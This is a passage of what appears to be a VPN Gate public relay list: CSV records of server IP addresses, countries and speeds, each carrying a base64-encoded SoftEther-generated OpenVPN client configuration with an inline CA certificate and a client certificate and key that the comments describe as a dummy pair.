NHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn605489791,171.6.106.196,786470,4,574067865,Thailand,TH,120,82061195,555831,193164856871058,2weeks,NeoAquariusPC's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzEuNi4xMDYuMTk2IDE0NDENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn906636084,152.117.247.152,769965,14,500775379,Japan,JP,19,82061195,242753,27333013433938,2weeks,dream's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIG